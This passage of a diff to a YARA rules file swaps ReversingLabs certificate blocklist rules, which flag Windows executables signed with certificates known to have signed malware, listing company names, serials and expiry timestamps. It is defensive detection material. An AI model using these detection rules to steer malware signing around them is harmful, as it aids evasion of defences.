== "03:b2:7d:7f:4e:e2:1a:46:2a:06:4a:17:ee:f7:0d:6c" and 1613952000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4B093Cb60D4B992266F550934A4Ac7D0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B0A308Fc2E71Ac4Ac40677B9C27Ccbad : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c459c3ac-205c-5c13-959d-c6b40f81222f" + id = "7e13e257-a264-5a40-b670-889045504acf" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13368-L13384" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7386-L7404" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4b634bc706638d72f2d036d41cf092cac538e930d7d407eebc225b482fd64f51" + logic_hash = "21fd7625399c939b6d03100b731709616d206a3811197af2b86991be9d89b4eb" score = 75 quality = 90 tags = "INFO, FILE" @@ -24893,21 +47287,21 @@ rule REVERSINGLABS_Cert_Blocklist_4B093Cb60D4B992266F550934A4Ac7D0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LCB SISTEMAS LTDA ME" and pe.signatures [ i ] . serial == "4b:09:3c:b6:0d:4b:99:22:66:f5:50:93:4a:4a:c7:d0" and 1478649600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Volpayk LLC" and ( pe.signatures [ i ] . serial == "00:b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad" or pe.signatures [ i ] . serial == "b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad" ) and 1611705600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2050B54146B011Ed30F60F61 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_61B11Ef9726Ab2E78132E01Bd791B336 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0db2d42d-bdc3-50bc-b360-a39ccec4df41" + id = "573a024e-11f0-5cf9-8f0d-a946cdca34c5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13386-L13402" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7406-L7422" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "74749317fcefcdb698046a6f42c6c6e05cc1eab1370b3b1fd7d025f49de4a032" + logic_hash = "1a8e72f31039a5a5602d0314f017a2596a23e4a796dc66167dfefc0c9790e3e3" score = 75 quality = 90 tags = "INFO, FILE" @@ -24917,21 +47311,21 @@ rule REVERSINGLABS_Cert_Blocklist_2050B54146B011Ed30F60F61 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "20:50:b5:41:46:b0:11:ed:30:f6:0f:61" and 1476773926 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Skalari" and pe.signatures [ i ] . serial == "61:b1:1e:f9:72:6a:b2:e7:81:32:e0:1b:d7:91:b3:36" and 1609372800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_73E2F34C9C2435F29Bbe0A3C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8Fe807310D98357A59382090634B93F0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "284c206f-8a0c-5bb6-8f28-d8e5e60efe3e" + id = "690e7919-0344-5bd1-849f-e7bfe2f19276" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13404-L13420" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7424-L7442" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "503429e737e8bdad735cf88e2bb2877d1f52b2c38be101a7a129c02db608a347" + logic_hash = "0ec56bd4783c854efef863050ff729fd99efa98b7b19e04e56a080ee3e75cd90" score = 75 quality = 90 tags = "INFO, FILE" @@ -24941,21 +47335,21 @@ rule REVERSINGLABS_Cert_Blocklist_73E2F34C9C2435F29Bbe0A3C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "73:e2:f3:4c:9c:24:35:f2:9b:be:0a:3c" and 1480312984 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAVE MEDIA" and ( pe.signatures [ i ] . serial == "00:8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0" or pe.signatures [ i ] . serial == "8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0" ) and 1613433600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_68C457D7495D2A8D0D7B9042836135C2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B97F66Bb221772Dc07Ef1D4Bed8F6085 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a8ed2e72-d94e-5141-8ceb-181459a729ad" + id = "c83918d8-fe90-59dc-8f4e-0e7b10238780" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13422-L13438" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7444-L7462" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3eb63f75f258eec611fa4288302f0ce5e47149ca876265a4a4b65dc33313aaa6" + logic_hash = "794dc27ff9b2588d3f2c31cdb83e53616c604aa41da7d8c895034e1cf9da5dd8" score = 75 quality = 90 tags = "INFO, FILE" @@ -24965,21 +47359,21 @@ rule REVERSINGLABS_Cert_Blocklist_68C457D7495D2A8D0D7B9042836135C2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "68:c4:57:d7:49:5d:2a:8d:0d:7b:90:42:83:61:35:c2" and 1476921600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "S-PRO d.o.o." and ( pe.signatures [ i ] . serial == "00:b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85" or pe.signatures [ i ] . serial == "b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85" ) and 1614556800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6B72Ca367D40Fbef16E73E6Eba6A9A59 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e1cf9568-9a6a-58cb-81a4-25063ccc1ac7" + id = "ab84282d-9c35-5e52-a117-1d85c03cc6f4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13440-L13456" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7464-L7482" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b20c16dafcd891c36b28b36093cd3ad3a15f3795f0f2adda61fb0db2835d02d" + logic_hash = "0360c6760f1018f9388ef5639ab2306879134f33da12677f954fa31b8a71aa16" score = 75 quality = 90 tags = "INFO, FILE" @@ -24989,21 +47383,21 @@ rule REVERSINGLABS_Cert_Blocklist_6B72Ca367D40Fbef16E73E6Eba6A9A59 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "6b:72:ca:36:7d:40:fb:ef:16:e7:3e:6e:ba:6a:9a:59" and 1476748800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LoL d.o.o." and ( pe.signatures [ i ] . serial == "00:fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6" or pe.signatures [ i ] . serial == "fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6" ) and 1614297600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_736B7663D322533413F36E3E7E55F920 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Aa28C9Bd16D9D304F18Af223B27Bfa1E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1991779a-8b5d-5188-8a36-c8451923e88f" + id = "facb8bba-a8cc-5b2a-9ef6-ba290cbf9b24" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13458-L13474" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7484-L7502" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "44e86319106a4bf8edba6c1be2f90d68b3d1ef4591f0cc23921a0dc4da4a407b" + logic_hash = "feaa8d645eea46c7cbbba4ba86c92184df7515a50f1f905ab818c59079a0c96a" score = 75 quality = 90 tags = "INFO, FILE" @@ -25013,21 +47407,21 @@ rule REVERSINGLABS_Cert_Blocklist_736B7663D322533413F36E3E7E55F920 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Net Technology" and pe.signatures [ i ] . serial == "73:6b:76:63:d3:22:53:34:13:f3:6e:3e:7e:55:f9:20" and 1159488000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tecno trade d.o.o." and ( pe.signatures [ i ] . serial == "00:aa:28:c9:bd:16:d9:d3:04:f1:8a:f2:23:b2:7b:fa:1e" or pe.signatures [ i ] . serial == "aa:28:c9:bd:16:d9:d3:04:f1:8a:f2:23:b2:7b:fa:1e" ) and 1611705600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_54A170102461Fdc967Acfafe4Bbbc7F0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_19Beff8A6C129663E5E8C18953Dc1F67 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d012df1d-5e85-57b4-8a79-5da91369a14a" + id = "300d9e11-9283-500e-9716-5b628ef41853" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13476-L13492" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7504-L7520" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ddae18d566fa2fd077f51d0afff74fb8a8e525f88f23908c7402a4b2c092ad24" + logic_hash = "0ec031c781ebad7447cfc53ce791aacc8f24e38f039c84e2ee547de64729ae76" score = 75 quality = 90 tags = "INFO, FILE" @@ -25037,21 +47431,21 @@ rule REVERSINGLABS_Cert_Blocklist_54A170102461Fdc967Acfafe4Bbbc7F0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "54:a1:70:10:24:61:fd:c9:67:ac:fa:fe:4b:bb:c7:f0" and 1476748800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CULNADY LTD LTD" and pe.signatures [ i ] . serial == "19:be:ff:8a:6c:12:96:63:e5:e8:c1:89:53:dc:1f:67" and 1608163200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0C501B8B113209C96C8119Cf7A6B8B79 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_029685Cda1C8233D2409A31206F78F9F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9ec73230-10cd-55ad-9ef7-56a875294cab" + id = "f7894a48-459b-574f-9df3-8505578de42b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13494-L13510" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7522-L7538" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dca37fda83650979566fb6ffbedaf713955a3c7f03ecc62e2e155475b7ca00e4" + logic_hash = "d541ce73e5039541ea221f27cc4d033f0c477e41a148206c26cc39ae07c4caaa" score = 75 quality = 90 tags = "INFO, FILE" @@ -25061,21 +47455,21 @@ rule REVERSINGLABS_Cert_Blocklist_0C501B8B113209C96C8119Cf7A6B8B79 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "0c:50:1b:8b:11:32:09:c9:6c:81:19:cf:7a:6b:8b:79" and 1474329600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KOTO TRADE, dru\\xC5\\xBEba za posredovanje, d.o.o." and pe.signatures [ i ] . serial == "02:96:85:cd:a1:c8:23:3d:24:09:a3:12:06:f7:8f:9f" and 1612396800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0300Ee4A4C52443147821A8186D04309 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D609B6C95428954A999A8A99D4F198Af : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "abccf84f-ba18-5644-897c-d23a228facff" + id = "4ce9b2ce-5dda-5741-bd29-cadae44c3b28" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13512-L13528" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7540-L7558" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8476ece98427c1ffd99d820c25fe664397de2c393473f7d5ee0846d8d840fd9e" + logic_hash = "a124f80d599051ecd7c17e6818d181ea018db14c9f0514bbcc5b677ba3656d65" score = 75 quality = 90 tags = "INFO, FILE" @@ -25085,21 +47479,21 @@ rule REVERSINGLABS_Cert_Blocklist_0300Ee4A4C52443147821A8186D04309 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Ind Com Imp e Exp de Acessorios P Autos Ltda" and pe.signatures [ i ] . serial == "03:00:ee:4a:4c:52:44:31:47:82:1a:81:86:d0:43:09" and 1494892800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Fudl" and ( pe.signatures [ i ] . serial == "00:d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af" or pe.signatures [ i ] . serial == "d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af" ) and 1612828800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_202Cf8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D3356318924C8C42959Bf1D1574E6482 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1c442ed6-a48a-52f4-b345-300428ec9c76" + id = "36b12300-6535-5644-9145-9f532b49a421" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13530-L13546" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7560-L7578" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "671a4b522761fdff75d1c0c608e8cfb21c7ab538c8c30c8620315bc58ed358e6" + logic_hash = "a672054a776d0715fc888578bcb559d24ef54b4c523f7d49a39ded2586c3140a" score = 75 quality = 90 tags = "INFO, FILE" @@ -25109,21 +47503,21 @@ rule REVERSINGLABS_Cert_Blocklist_202Cf8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DATALINE LTD." and pe.signatures [ i ] . serial == "20:2c:f8" and 1087841761 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADV TOURS d.o.o." and ( pe.signatures [ i ] . serial == "00:d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82" or pe.signatures [ i ] . serial == "d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82" ) and 1613001600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6651Cc8B4850D4Dec61961503Ea7956B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_31D852F5Fca1A5966B5Ed08A14825C54 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "88679114-9c85-5810-af21-d5c2a8dc759e" + id = "362a6eb7-f49e-502b-9870-522aea13e04b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13548-L13564" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7580-L7596" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "29bfe9c8b340b55a9daa2644e8d55b2b783cc95c85541732e6e0decca8c10ff6" + logic_hash = "8c98b856d53e6862e94042bb133f5739bddcec2e208e43961b23e244584c6ee4" score = 75 quality = 90 tags = "INFO, FILE" @@ -25133,21 +47527,21 @@ rule REVERSINGLABS_Cert_Blocklist_6651Cc8B4850D4Dec61961503Ea7956B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NUSAAPPINSTALL(APPS INSTALLER S.L.)" and pe.signatures [ i ] . serial == "66:51:cc:8b:48:50:d4:de:c6:19:61:50:3e:a7:95:6b" and 1436175828 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BBT KLA d.o.o." and pe.signatures [ i ] . serial == "31:d8:52:f5:fc:a1:a5:96:6b:5e:d0:8a:14:82:5c:54" and 1612396800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_25Bef28467E4750331D2F403458113B8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_17D99Cc2F5B29522D422332E681F3E18 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a97723cb-7814-5f08-af94-6244c1cf4145" + id = "0d0a58a4-353d-51f9-a739-a135d77357c9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13566-L13582" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7598-L7614" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dc59fdecf60f3781e92cfe8469be2e0c1cb1cfdd3e9f9757d159667437cb37f5" + logic_hash = "55cc1634cdc5209d68b98fdb0d9e97e0a34346cdcb10f243d13217cda01195f1" score = 75 quality = 90 tags = "INFO, FILE" @@ -25157,21 +47551,21 @@ rule REVERSINGLABS_Cert_Blocklist_25Bef28467E4750331D2F403458113B8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "25:be:f2:84:67:e4:75:03:31:d2:f4:03:45:81:13:b8" and 1474156800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PKV Trading ApS" and pe.signatures [ i ] . serial == "17:d9:9c:c2:f5:b2:95:22:d4:22:33:2e:68:1f:3e:18" and 1613088000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0296Cf3314F434C5B74D0C3E36616Dd1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6A568F85De2061F67Ded98707D4988Df : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ae7d8c3c-0ac8-5ea5-8013-97ccb2ace4e4" + id = "962c3096-2c3d-5137-9637-b45d00b2ee9b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13584-L13600" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7616-L7632" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "acf3b7460c79fa71c1b131b26a40bbc286c9da0a5fe7071bbe8b386a3ca91de4" + logic_hash = "793be308a4df55c3b325e1ee3185159c4155f6dfabc311216d3763bd43680bd4" score = 75 quality = 90 tags = "INFO, FILE" @@ -25181,21 +47575,21 @@ rule REVERSINGLABS_Cert_Blocklist_0296Cf3314F434C5B74D0C3E36616Dd1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "02:96:cf:33:14:f4:34:c5:b7:4d:0c:3e:36:61:6d:d1" and 1474934400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Apladis" and pe.signatures [ i ] . serial == "6a:56:8f:85:de:20:61:f6:7d:ed:98:70:7d:49:88:df" and 1613001600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_045D57D63E13775C8F812E1864797F5A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_038Fc745523B41B40D653B83Aa381B80 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c2c37ddc-51bc-58da-b770-df97aebca01d" + id = "3f7f9d58-3a7a-5f84-bf6e-795a9c8bcd38" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13602-L13618" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7634-L7650" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d3e61e9a43f5b17ebb08b71dc39648d1f20273a18214f39605f365f9f0f72c10" + logic_hash = "016ca6dcb5c7c56c80e4486b84d97fb3869a959ef3e8392e4376a0a0de06092f" score = 75 quality = 90 tags = "INFO, FILE" @@ -25205,21 +47599,21 @@ rule REVERSINGLABS_Cert_Blocklist_045D57D63E13775C8F812E1864797F5A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Mei" and pe.signatures [ i ] . serial == "04:5d:57:d6:3e:13:77:5c:8f:81:2e:18:64:79:7f:5a" and 1485043200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Optima" and pe.signatures [ i ] . serial == "03:8f:c7:45:52:3b:41:b4:0d:65:3b:83:aa:38:1b:80" and 1606143708 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6D633Df9Bb6015Fc3Ecea99Dff309Ee7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_30Af0D0E6D8201A5369664C5Ebbb010F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b85bf9c5-f438-5973-83ab-926e44cf2298" + id = "aaa31642-a0f4-5652-b3cd-c81cfb1ab127" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13620-L13636" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7652-L7668" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "84e2f427ee79b47db8d0e5f1e2217a7e1c1ea64047e01b4ea6db69f529501f36" + logic_hash = 